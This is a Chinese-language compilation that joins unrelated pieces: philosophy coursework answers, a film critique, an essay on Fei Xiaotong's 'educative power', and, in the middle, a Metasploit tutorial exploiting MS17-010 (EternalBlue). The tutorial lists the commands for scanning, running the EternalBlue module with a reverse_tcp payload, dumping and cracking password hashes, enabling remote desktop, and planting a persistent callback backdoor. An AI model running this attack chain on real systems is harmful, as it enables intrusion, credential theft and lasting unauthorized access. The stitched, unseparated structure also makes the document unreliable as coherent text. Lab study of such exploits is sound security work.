学习马克思主义哲学有着重要作用。
首先，其有利于我们形成辩证的思维方式。这种辩证的思维方式是指将各种事物的发展联合起来考虑问题，而不是只单一考察一个方面。随着科学技术的发展，人类对这种辩证的思维方式的需要愈发强烈。尽管这种思维方式经常在生活中使用，属于一种“常识”，但如果对这种常识进行深度的思考就会有新的收获，也会纠正我们生活中经常认为两个对立方面就是完全水火不相容的错误观点。
其次，马克思主义哲学是一种世界观和方法论。世界上到处都是矛盾，人的生活和世界联系起来，人不能脱离世界而存在。这些世界观就是马克思主义的世界观，它让我们零碎的世界观变得系统起来。这种世界观进而影响我们的人生观，与人生观形成对立统一的关系，影响我们的生命本身。例如，很多人存在着对于生命意义的疑问，马克思主义哲学就可以帮助他解决这个问题。
第三，马克思主义对于中国的政治和历史发展有着不可磨灭的作用，它可以服务于中国政治的发展。身为中国人，学习马克思主义哲学就可以让我们了解中国政治、进入中国政治。中国政治的本色是被马克思主义哲学所支撑着的，若是脱离这一点，那么便会走向空洞和虚无。
有一位著名的哲学家曾经说过，人的生命就像牛或昆虫的生命一样没有什么意义。我们吃饭、睡觉、活过一段时间、生殖，别的动物也是如此，生命没有任何最终的目的。你会怎样来回答他？人的生活拥有哪些在牛和昆虫那里无法找到的目的？你生活的目标是什么？
首先需要明白，他说的话有一定的道理。人类属于生物的一部分，不能将其和其他生物脱离开来看。但是，这并不代表人类的生命和大部分动物的生命一样都没有意义。在我看来，这句话是片面的。
人类和其他生物有着生理上的区别：人类的大脑高度发达，由此产生了各式各样的高级文明。因此，人类有着更为丰富的情感世界和灵魂需求，这也就产生了各种各样在人类看来的生命的意义。
其次，其他动物的生命也并不是毫无意义。当跳出个体的生存发展去看待整个物种的历史，我们就会发现每个个体都承担着繁衍、进化的责任，脱离一个个个体，物种不会继续存在下去，而是在残酷的自然选择中灭亡。因此，一切动物的生命的原始意义就是使其在残酷的竞争下延续，从这个角度来看，每个生命都是有意义的。
然而，身为已经站在食物链顶端的人类，每个人必定不会把人类的物种延续看待为自己生命的意义，而是会将个体的幸福作为生命的意义。由于人类社会高度社会化，分工极其明确，个体的幸福一定和社会有着或深或浅的联系。因此，这就是人类生命价值与其他动物生命价值最大的不同点，它依赖于人类在生物界的独特地位的客观事实。反观其他生物，很少有物种像人类这样将自我价值的实现构建在其他个体的幸福之上，很少有生物不将生存作为自己活着的最大目标。反过来，这种高度社会化的体系有促进了人类的文明的进化。
于我而言，我的生活目标就是使其不留遗憾，尽力绽放生命的光辉，并同时能够对社会有所影响。这是人类独有的一种幸福。
我们发明了一台机器，它是一个有着若干电极和一个生命维持系统的箱子，名叫：快乐箱。只要你进入这个箱子，就会体验到一种特别快乐的感觉，而且这种感觉会一直持续下去，因为它可以产生足够多的变化是你不会失去新鲜感。现在我们想要请你去试试。只要你愿意这么做，你可以随时决定出来或者不出来；但是我们可能会对你说，人一旦进入箱中，还没有谁愿意出来过。过了十几个小时左右，我们接通了生命维持系统，人们就在那里耗完他们的一生。当然，他们其他什么事也没做，所以过了若干年以后，由于缺乏锻炼，他们的身体开始变得臃肿，摇摇晃晃，但他们似乎从未此烦心过。现在轮到你做决定了：你愿意跨进快乐箱吗？为什么？
不愿意。
快乐箱的情景在生活中非常常见，它有着很强的现实基础。比如小说漫画、电子游戏，甚至毒品。当然，它们和快乐箱有着细微的差别。如果你询问一个人是否愿意吸毒，那他大概率给出的答案是不愿意，而且还会有些生气。这是为什么呢？
因为人在未接触毒品的理性状态下，一定会意识到吸毒会让自己的生活不可控，失去控制感是每个人都不愿意遇到的事情。这是毒品的成瘾性导致的。然而题目又没说快乐箱会成瘾，为什么和毒品类似呢？这是因为人一旦进入到无限的快乐之中，就会不可自拔地成瘾，无法控制自己的其他行为。因此，快乐箱就是一种人类历史上最厉害的毒品。
这样我们就可以深层次想一想了：为什么人类就要抵制毒品呢？既然它能够让人一直快乐下去，为什么不去吸毒呢？
一个方面，因为这样的类毒品会让人创造的欲望，进而影响到人类文明的发展。比如在清朝时期人们吸食鸦片，最终的结果就是朝廷腐败、军队混乱、人民萎靡，然后遭到了外国列强的凌辱。若是全人类吸毒成瘾，都躺在快乐箱里快乐，那么人类文明就会溃散，最终就会走向灭亡。因此，一旦从理智的角度出发，就一定会抵制类毒品。这本质上就是一种延迟性满足，抛弃短暂的快乐而去追求更大的快乐。
但是快乐箱是不一样的，因为吸毒时人会不时抛弃快感，进入到懊悔之中。但是快乐箱不会。也就是说踏入快乐箱不会丢失丝毫的控制感，也不会在意我自己是否放弃了延迟性满足的机会。我会源源不断获得一种正面的情绪激励。
究竟是物质决定意志，还是意志影响物质？这里说人类的身体变得臃肿，什么都没干，可是推动人类做事情的根本的东西不还是主观上的意志吗？既然我本来就可以获得这种意愿，为什么还需要做事情呢？这不是一种跳过了物质就可以决定意志的神器吗？人究竟是为了做什么事情，也就是物质而活，还是为着所谓的精神而活呢？有人说不得志的命苦的人经常精神欺骗自己，可为什么大部分人都认为他们是勇于面对现实的勇者，是在用智慧对抗现实呢？所以，基于这个角度上去讲，我非常愿意踏入快乐箱，因为它是一个可以让个体得到幸福的神器，可以脱离现实而决定意志，尽管可能现实中你什么也没做。
所以，如果从理智的角度去思考，快乐箱就是一种毒品；但如果深层次想一想，它似乎又揭示着一个矛盾。所以如果非要给出一个答案，我只能基于现在的个人意志回答：不愿意失去控制感。只不过这种不愿意在进入快乐箱后便会产生变化。
下面哪种东西最”真实“——是你所坐的这张椅子，构成这张椅子的分子，还是当你坐在上面时的感觉印象？
“真实”从不同的角度来看，得到答案是不同的。
如果以人的思想为标准，只有坐在上面的感觉印象是最真实的。
在人脑中，“真实”是一种感觉，是一种意识，存在于人的大脑之中。如果可以虚构出一种感觉，那么在人的大脑看来就是真实的。比如在面对某个痛苦的情境时，如果消除掉对应的记忆，就不会感受到悲痛。所以感觉才是意识层面最终的落脚点。
如果以物质为标准，以上的这种情景是不真实的，只有构成这个椅子的分子是真实的。因为感觉终究是存在于大脑之中，它看不见摸不着，随时可以消散，而且对于一个东西不同人也有着不同的感觉。然而只有这个东西的组成本身是不会变的，不会随着人的不同而不同，这是另一种评判真实的方式。比如鲁迅笔下的阿Q正传中总有人利用精神胜利法来麻痹自己，这在我们看来就是一种不真实，是逃避现实的表现。
真正的真实是两者相结合的真实，比如你不能说坐在一个椅子上却没有任何感觉可以让你感受到真实，也不能说躺在床上就像坐在椅子上更加真实。这不能给出确切的答案，不然就太极端了。
假设你是心理学家实验室里的一只动物，但你拥有思想和感觉的所有能力，也就是说有一个与现在完全相同的“心灵”。你无意中听到科学家跟一位助手说：“别担心，它只是一直不会说话的动物，既没有思想，也没有感觉，只是在按照它的本能活动罢了。”你怎样证明你的确具有思想和感觉，有一个“心灵”？现在假设有一位心理学理论家这样说，一般说来，没有所谓“心灵”这种东西，人只是“行动”罢了（也就是说根据从环境中接受到的刺激去移动身体和发出声音）。你将怎样证明你的确有一个心灵，你不仅仅是一个自动机或者机器人，而是一个有思想、有感觉的存在。
这个心理学家说的完全没有问题，人就是一种生物，生物由细胞组成，受着自然规律的支配。人的一切思想、行为、情绪、情感都是神经元在宏观上的表现，因此生物的确是按照它的本能活动。心灵是在这个基础上产生的，所以想要证明我存在着自我的意识，不能够否定心理学家“本能活动”的理论。
然而，意识也是的确存在的，比如不同的人有着不同的价值观，面对同一处境也会有不同的反应，所以证明自我意识的第一方法就是举出这个不容置辩的例子。例如有些人是无神论者，有些人相信上帝。有些人相信善恶终有报应，有些人相信自私才是唯一的生存途径。作为一个实验室里的动物，如果不能说话，我就会做出与科学家眼中“自然规律”不太相符、不太正常的行为，例如在被电击时假装很享受、故意不理睬科学家给我的奖励，因为反抗往往是想要伸张自由意志的表现。但这些行为又是不能和客观规律相违背的，所以我的意识也是受限的。
对于此电影，我的看法是比较负面的。它总体上起到了一定的反诈宣传作用，但其情节内部存在着诸多漏洞。而情节上的漏洞，则是文化作品中十分要命的，是评价一部电影不可回避的一个方面。
在此，我首先对某些人的一些想法进行反驳。有些人说：这个电影只要起到了反诈宣传的效果，不就是正面的吗？只要它能够让你避免被赌博所洗脑和控制，不就是有意义的吗？对于此类看法，我要首先进行抨击。需要明白的是，评价一个作品的好坏，并不是对其进行完全的否定。不能说，一部电影有着一定的片面性，它就一定一无是处。有着这样的思想的人是别有用心，妄图通过偷换概念来达到她不可告人的目的。
我们来具体说明一些情节。
首先，是电影起初黑入公司系统的情节。这一情节主人公使用sql注入的方式，通过自动化的工具sqlmap就可以黑入公司系统。当今时代，用工具就可以完成注入的sql数据库已经不存在了。哪怕为了让它看起来真实些，你放一些手动修改源码的镜头也行啊？当然，这一点不做过多批评，它并不涉及整体情节的发展。所以还是可以让人比较愉快地去接受的。
其次，是第一个让我无法忍受的情节。当被骗男子借网贷来赌博时，它因为无力偿还网贷而面临着讨债。但是，这种讨债是黑社会式的讨债。什么是黑社会式的讨债呢？我们先下个定义，那就是面临着承担刑事责任风险的讨债。承担刑事责任风险是指，这种行为有可能不会承担刑事责任，只是接受治安管理处罚，但稍有不慎就会承担刑事责任，面临刑罚。
黑社会敢于面临承担刑事责任的风险去讨债，可能由于两个原因：一个是当地治安不好，没有人会注意到你，去追究你的法律责任。另一个是你存在着巨大的保护伞，公安机关即使抓到你，也不会把你怎么样。然而，2020年的中国社会已是一个基本上法治的社会，上述两种情况是极其少见的。这也就导致了，黑社会式的讨债在当代社会是没有什么滋生的土壤的。这时有人跳出来说了：你不要认为当今社会是多么法治，多么理想，用又红又专的思想来看待社会问题。你这是脱离现实、十分幼稚！我认识某某人就面临着讨债，连家都不敢回！你这是唯心主义！
这里我就要明目张胆的反驳了。请问，他有面临着以上我定义的黑社会式的讨债吗？讨债人有面临着承担刑事责任的风险吗？他是打断了欠债人的胳膊，还是以对方身体健康为威胁来逼迫对方还债？如果上述类型的情况均未发生，欠债人仍健康地活着，逼债人还没有进监狱，这就不是黑社会式的逼债，因为讨债人并没有面临着承担刑事责任的风险。所以我要说，妄图通过讲这些故事来证明他的观点的人，根本忽略了中国社会已基本上是一个法治社会的现实，才是脱离现实、十分幼稚、唯心主义！
我们回到电影情节本身，来论证它为什么是黑社会式的逼债。根据《中华人民共和国献血法》规定，公民捐献全血每次不超过400毫升，两次采集间隔不少于六个月。先抛开献血部门不拒绝多次献血的行为，单看逼债者，要求其多次献血本就是违法的行为。如果多次献血使得对方贫血、免疫系统受损至生命健康受到危害，则应当依法予以行政拘留或以故意伤害罪论处。也就是说，这完全是一种黑社会式的逼债，因为它面临着承担刑事责任的风险。
这时我们就会提出一个问题。他到底是从正规渠道借的网贷还是从非法渠道借的网贷？其实这并不重要。如果是正规处，根本不会以献血作为条件讨债，而是依法通过法律程序来拍卖你的房产。难道让你献一次血就能免除欠款吗？任何一个正规网贷平台应该都不会有此类规定。如果是从非法借贷处借来的钱，这钱本来就不用还，因为放贷者根本就无法通过法律程序来讨债，借贷人是受法律保护的。也就是说，这段黑社会式的讨债本就不符合生活正常的逻辑，说它脱离现实是有一定的依据的。作者为了显出诈骗团伙的无情，而不顾正常逻辑，设计出了这么一套荒诞的剧情，实在让人难以入戏。
第三点，是被骗人极低的智商。被骗人是硕士毕业，家产最终能凑到八百万，说明他的受教育水平较高、眼界较为宽阔。然而，这里有两点暴露出了他的智商极为低下，所犯的错误十分简单。
第一，他将家中全部存款八百万直接交给第三方平台炒币，而不从正规平台入手投资。这个第三方平台，还是他认识不久的一个网友，只因为他为其提供一定的“内幕消息”，而倾注了价值八百万的信任。也许有人说这是为了表现他的贪欲。然而他刚涉及赌博不久，难道就产生了极大的贪欲，以至于敢于将全部家产交给一个陌生人来赌一把？这是一个智力正常的人能做出的事情吗？
第二，他将自己的一切翻盘希望都寄托在了赌博上面。将奶奶为其攒下的钱拿走后，他懊悔不已，发誓一定要通过赌博来赚回来。这么大的赌瘾，以至于失去理性，难道只是几次网上赌博就可以造成的吗？当然，这部分是为了让情节继续下去而不得不出现的部分，我不做过多批判，但是这种悲惨命运形成的不自然性是值得我们考虑的。很多电影，将最终犯下大错的人的错误原因总是归结为赌博、吸毒等，这是否显得有些缺乏新意？
由此可见，被骗人的受教育程度和他低下的智商形成鲜明对比，这显得实在有些不合情理。也许这时又会有人说：受教育程度水平高不代表他就一定不会被骗。这是因为人总会犯错，尤其那些博士硕士会因为自满而掉入陷阱。但是，在我看来，这个人的行为已经不可以被称之为失足犯错，而是纯纯的智力低下。为了表现所谓的贪欲，而设计出这样不合情理的情节，值得我们思考。
第四点，是中国警察可以堂而皇之的进入他国，并在他国政府的帮助下执法。这里我们首先需要对境外诈骗情况进行了解。以缅甸北部为例，其克钦邦、掸邦、妙瓦底并不受中央政府的控制，而是被地方民族武装所统治。在其他国家，社会混乱，中央政府也没有那么强的管辖能力，很难能够轻松协助中国警方救出被困人员。其次，当地政府本就不乐意大义灭亲。要知道，诈骗行业在东南亚各国家十分盛行，为其经济发展提供了极大的贡献。若是将这些集团剿灭，政府就失去了每年高额的税收，哪个东南亚国家乐意去做这件事情呢？因此，政府出面解救被困人员本就是一件十分复杂的事情，绝不像电影中演的那样自然。这也是一种不实际的表现。
这时有人出来反对了：电影要宣传正能量，你播出这个电影就是要播出被困人员被解救，这样才能给人民群众幸福感，才能传播正能量。这一点，正是我接下来要着重说的，是对社会意识形态的批判。当然，此类批判具有着理想主义的色彩，并不是说反对中国特色社会主义制度，并不是说我就能够提出更好的解决方案，只是带来一个思考的引子。换句话说，这种不实际制片人也毫无办法，是不可避免的结果。这也就是为什么我一直普遍不爱看中国的电影，它具有着时代的局限性。
传播正能量，本就是一个很荒唐的事情，近些年来演的越来越荒唐。为了维护社会稳定，政府不希望出现破坏团结的声音，于是控制舆论导向，让社会上的事情只能宣传“正能量”，而不能说出一些实情，尽管它是真实的。根据辩证关系，这种行为一定会带来一个反面：等没有人敢于去说出真相时，是否会忽略掉一些真实的实情，忽略掉一些人民群众切实的需要，从而影响到党的执政合法性？过于单一的言论是否会造成天下安好的错觉，从而让老百姓的需求无处奉告？
为了维护执政合法性，文艺宣传作品也最终会导向一个圆满的结局：被困人员被解救，这都是在党的带领下取得的辉煌成果。任何不圆满的结局都不允许出现，都不可能过审。这也就导致很多作品最终都是一个完美的结局，正义总是会胜利。可是老百姓看看周围，我的正义怎么从来没有被伸张，难道电影里面的都是假的？这何尝不是一种脱离群众的表现呢？
以上是时代带来的局限性，不可避免，难以改变，于是有着一些人打着爱国的旗号狂揽金钱，有一些人用着烂俗的商业电影套路狂揽金钱，很多有深度的现实主义作品都无法播出，微博上只有着流量式的演艺明星。这何尝不是一种中国特色的悲剧？若是鲁迅生在当代中国，他很可能不是一个伟大的革命家，而是一个罪犯。有人说，你说的这些谁不知道？聪明人都不说，才能保全自己。然而，麻木地对现实不管不问，正是懦弱的表现，正是鲁迅笔下的中国人最现实的写照。难道你要成为鲁迅笔下麻木的中国人，对社会现实不管不问、毫无思考，只是盲目跟着时代潮流走？那么文化大革命的悲剧还会发生。
综上所述，本电影起到了很好的反诈宣传的作用。可以说，它描绘的越恐怖，大家就越害怕，就越不容易被诈骗。这一点是十分值得肯定的。然而，它也存在着很大的时代局限性，且很多情节不自然、不真实，甚至脱离现实，让人难以入戏，完全为了让故事发展而造出一些生硬的情节。这一点提醒着中国影视人，中国观众的审美正在提高，不要用烂俗的商业套路来圈钱，不要用所谓的高尚的立意来包装，而是实打实地做出群众满意的作品，满足人民日益增长的文化需求。
本评论完全客观，欢迎以开放、包容、理性的态度讨论、批评文章内容，反对以高高在上、抱有不可告人目的的心态来现身说法、无端指责。
ms17-010漏洞即永恒之蓝漏洞，是微软在smb服务上的一大漏洞。此漏洞危害极大，曾经使得上百万个公网文件服务器都面临着黑客的勒索攻击，系统全部瘫痪。
metasploit framework是一个提供给安全渗透人员的工具，可以利用自动化的脚本和服务进行渗透测试。今天，我们就从永恒之蓝漏洞入手，学习metasploit的相关使用方法。
这个不是重点，我们一带而过。
Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution
首先输入msfconsole打开控制台
我们首先需要了解msf的相关基础知识
msf提供了很多module为我们实施自动化的渗透测试，其中分为exploit、auxiliary、post三个部分
exploit是直接的漏洞利用，最终目的是获取到meterpreter——一个后渗透的shell。
auxiliary是辅助模块，可以帮我们发现漏洞、扫描端口等。
post中有大量的后渗透模块，例如利用已经获取的meterpreter开启远程桌面连接、生成持续性后门等。
meterpreter是一个后渗透的shell，我们进行msf框架下的渗透的一切目的就是为了获取到meterpreter。
meterpreter的权限是有限制的，所以我们常常会用到post里的模块利用系统漏洞进行提权。这里面常用的模块就是绕过uac用户控制系统。
payload是攻击载荷，是进行漏洞攻击后要执行的一组指令，这种指令往往能够帮助我们获得meterpreter。我们也会用反弹shell等方法来获取meterpreter——也就是木马植入，这个反弹shell本身就是一种payload。shellcode是一组机器指令，往往作为payload被执行。
encoder包含一系列的编码措施，其中最为有效的通常是shikata，这是为了木马不被杀毒软件查杀或者避免出现一些字符而准备的。
然而随着杀毒软件的不断更新，对病毒程序进行编码已经逃不过杀毒程序的法眼，于是msf为我们提供了evasion模块进行病毒软件的反杀。
当我们需要查找相应模块时，可以使用search查找，然后用use进入到该模块。
进入到该模块后，我们要用show options来设置相应的参数。
例如 set payload windows/meterpreter/reverse_tcp
我们首先查找相应模块
我们用第三个进行扫描。
可以看到，这里需要我们设置rhost的参数。它已经提前帮我们将payload设置好了。
我们设置一下目标主机的参数，然后run。
可以看到，这台机器是十分容易被攻击的。我们现在调用exlpoit的相关模块进行攻击。
use exploit/windows/smb/ms17_010_eternalblue这里面它已经给我们设置了默认的payload，也就是reverse_tcp反向链接。
查看一下参数的配置
设置目标IP，run。
在此时，我们就获得了对方机器的meterpreter。这时，我们就获取了系统的meterpreter。
我们查看一下此时的权限
可以看到，此时我们已经获得了系统的最高权限，这就是永恒之蓝漏洞的可怕之处。
在获取权限后首先做的事情就是开启对方的远程桌面连接，这里我们使用post模块来实现。
我们先来看一下系统信息
1、进入对方的cmd
输入shell即可进入cmd，这是是乱码，要先通过chcp 65001转换，
2、开启远程桌面连接
首先我们查看一下开放的端口
netstat -ano
我们发现，对方机器的3389端口是没有打开的。此时，我们可以通过post中的模块来实现。
首先查找一下enable rdp的相关模块
复制路径，run一下。
run post/windows/manage/enable_rdp
3.、获取对方的密码哈希值
我们输入hashdump获取密码哈希值
随便打开一个网站对其进行破解
可以看到，hanran的密码就被我们得到了。
4、生成持续性后门
我们利用persistence模块来在注册表中生成可持续性后门
run persistence -A -U -i 5 -p 444 -r ip具体就不截图了，这个极易被杀软拦截，没有什么使用价值。以后我们会详细讨论免杀技术和持续性后门。
我们通过这次对ms17-010漏洞的利用大概理解了使用msf进行渗透攻击的基本流程，对msf基础知识有了一定的了解，对于meterpreter的使用有了一定的认识。我们通过这次渗透测试，可以得出两个收获：
1、及时安装微软发布的官方补丁是十分必要的，安装杀毒软件是十分必要的。
2、msf是一个非常方便、非常强大的工具。只有经过不断地学习和探索，才能将工具用好，而不是只当一个简单的脚本小子。
今天我们的渗透测试记录就到这里。
费孝通的《乡土中国》中，说到过教化权力。其来源是在长期稳定不变的环境下，经验在人们的生活中起到重要作用，人们于是对于经验有了一种迷信一般的尊崇，从而对有经验的人——长者有了崇拜，于是长者有了权威，有了对于幼者教化——传授生存经验的权力。不论幼者想不想听，他们都有权利去灌输这些经验。
然而，相信各位和我一样，深为此教化权力所苦。
教化权力的基础是在相对稳定的环境中，而在如今日新月异的世界里，教化权力的基础渐渐被掏空，因为固有的经验渐渐不适用于平常的生产生活了。另外，曾经的社会是一个两件事读书耕田的社会，而当今随着生产力的发展，社会可不只是这两件事了，个人有了更多的发展空间，有了更多的人生选择，于是曾经的用以指导单一生活方式的经验在这个多元的世界里渐渐不适用了。再者，随着社会的多元化发展的推进，加之教育的普及，个人对于世界的看法不止一个了，每个人都可以有自己的立场，而这见解大多分不出明确的对错，因而这种经验的教化会让人不适和反感，毕竟谁让你跟我这传教呢？反过来看，经验的教化也很难在纷繁的立场中广泛推行了。
因而，这种权力正在被削弱（相信这是各位喜闻乐见的），譬如说以前的长老有着至高无上的族权，今天谁再搞这套谁退回旧封建去！而正是在今天这个时代里，教化权力即使减弱却仍然有所保存，时代的变迁却使得教化的内容渐渐丧失有效性和权威性。教化权力只剩下一个令人厌烦的架子，教化的内容吗，瞎指挥、瞎白乎。教化对我们的生活的作用减少甚至变为负面作用，我们却还要被按着灌输，这大概就是我们所苦之处。
如果对于当下的教化权力做具体分析的话，我愿将之分为引导期、骚扰期和拉扯期。
引导期，指教化的内容限定于基本的生活技能的时期。于大多数人都是青春期之前。这个阶段内，因为教化的只是基本的生活技能，能够保证个人最基本的生存，而这些技能恰恰不因时代的变迁而不适用，也恰恰不因人生选择和价值观的不同而不通用，所以这个阶段的教化是对个人来讲所需要的，个人也不会太过于反感。教化在个人的成长中起到引导作用，所以我将之命名为引导期。
骚扰期，指教化的内容蔓延到了人生选择和价值观上，或者更广泛地说，教化的内容与个人的认知起了冲突，那就包括但不限于人生选择和价值观了，比如最显著的学习方式、生活方式。这时，教化内容的有效性和通用性要打一个问号，甚至说很多时候就不有效、不通用，因而一遍遍的“传教”让人反感：好一个好为人师的家伙。举几个例子，比如说学习出了问题，你的解决方式和家长的解决方案不一样，他们就会一直“骚扰”你去说服你用他们的方案来解决问题。再比如这些日子以来我脚闹炎症，家长的方案治了两个月都没能治好，我去问了医生并获得了一套方案，我不再愿意遵循家长的方案，他们就要给我“传教”了。再比如说我喜欢户外，有一定的冒险倾向，我以此为然，并认为对我而言这样才能凸显生命的健康与活力，家长就要反对了，认为太过冒险，我自然没法跟他们硬刚，那就只能受他们“传教”。恰恰是在这个时候，我们还没有本领与长者分隔和对立，没法硬刚，只能受着他们的“传教”，因而我将之命名为骚扰期。
拉扯期，指教化的内容集中于人生选择和价值观上，每个人的人生选择和价值观念多多少少都有差异，在这个方面的教化会与个人产生不可调和的矛盾，而恰巧在这个阶段个人获得了独立，有能力与长者分立和对抗，长者的教化也不只限于“传教”、骚扰，还体现在了拉扯上。最典型的拉扯期的体现，比如说高考报志愿、职业选择、婚配等等，这其中往往出现实质上的对峙，长者为了幼者遵从它们的训导往往会出动手脚，用行动来影响幼者的选择。所以我称之为拉扯期。
我们大多数人现在都处于骚扰期和拉扯期之间。我将在下文对于这两个时期给出生存指南。
骚扰期：没有充足的力量千万不能硬刚！因为长者会认为你更需要教化，从而利用他们的力量来对你进行更严厉的控制和监视，这会让你更加被动。你无法逃脱这控制和监视，因为你仍然需要他们的支持。这一阶段，最重要的是站稳自己的立场。他们的传教可以听，但必须思辨，不能尽听尽信。如果你的行动有悖于他们的指令，那就阳奉阴违——这也是一种尊重。适当的欺瞒和蒙骗我认为是可行的，因为你不是在做坏事，这种欺瞒和蒙骗一方面让长者感觉高兴、感觉受到了尊重，一方面又满足了自己的发展需求，只是这种欺瞒和蒙骗必须在“善”的范围内，也就是无害于人。另外，你需要积蓄力量，包括知识、体力、本领、储蓄等等……为进入拉扯期做准备。
拉扯期：与骚扰期类似，你仍然需要站稳自己的立场，壮大自己的力量，尽快争取经济独立。只不过这时候你有更多的自由度，可以选择明面硬刚也可以选择阳奉阴违。但是我仍然不建议明面硬刚，因为毕竟是长辈和亲人，明面硬刚一来让他们不舒服，二来破坏了家庭和气。
总体来讲，感觉骚扰期和拉扯期相比，骚扰期下的生存更困难点。毕竟你仍然需要依靠长者，并要在这依靠的基础上做事。
最后，我要强调一点。我说这些话绝对不是让你如何地和长者作斗争。该是亲人还是亲人，他们为你考虑、为你打算也是关心的体现，只不过他们对你关心的手段可能出了问题。我写的这些文字就是帮助你在普遍的出了问题的关心下保全自己、保护家人。如果你还有余力去关心，那么请把你的关心送给家人。